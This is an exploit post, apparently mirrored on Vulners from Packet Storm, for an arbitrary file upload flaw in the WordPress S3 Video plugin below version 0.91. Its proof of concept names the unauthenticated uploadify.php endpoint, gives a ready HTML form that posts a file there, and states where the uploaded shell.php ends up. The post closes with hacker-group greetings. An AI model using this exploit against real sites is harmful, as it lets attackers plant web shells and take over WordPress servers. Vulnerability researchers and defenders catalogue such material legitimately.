Lucene search
K

WordPress S3 Video Remote Shell Upload

🗓️ 11 Dec 2015 00:00:00Reported by Manish TanwarType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 41 Views

WordPress S3 Video Plugin file upload allows embedding of Amazon S3 stored videos into WordPress posts/pages

Code
`##################################################################################################  
#Exploit Title : Wordpress S3 Video Plugin file upload   
#Author : Manish Kishan Tanwar AKA error1046  
#Vendor Link : http://plugins.svn.wordpress.org/s3-video/tags/0.91/   
# Affected Version: below version 0.91  
#Date : 9/12/2015  
#Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi  
#Discovered At : Indishell Lab  
##################################################################################################  
  
////////////////////////  
/// Overview:  
////////////////////////  
The S3 Video Plugin allows the embedding of video media stored on Amazon's S3 storage into a WordPress blog post or page.  
  
////////////////  
/// POC ////  
///////////////  
  
  
http://www.taget.com/wp-content/plugins/s3-video/includes/uploadify.php  
  
<form method=post action="http://www.taget.com/wp-content/plugins/s3-video/includes/uploadify.php" enctype="multipart/form-data">  
<input type=file name=Filedata> <input type=submit name=submit>  
  
shell location:-  
target.com/shell.php  
  
  
--==[[ Greetz To ]]==--  
############################################################################################  
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, Silent poison India  
#Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,Hackuin,Alicks,mike waals,  
#cyber gladiator,Cyber Ace,Golden boy INDIA,Gujjar PCP,Ketan Singh,AR AR,saad abbasi  
#Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash, Rafay baloch  
#############################################################################################  
--==[[Love to]]==--  
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,  
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik)  
--==[[ Special Fuck goes to ]]==--  
<3 suriya Cyber Tyson <3  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation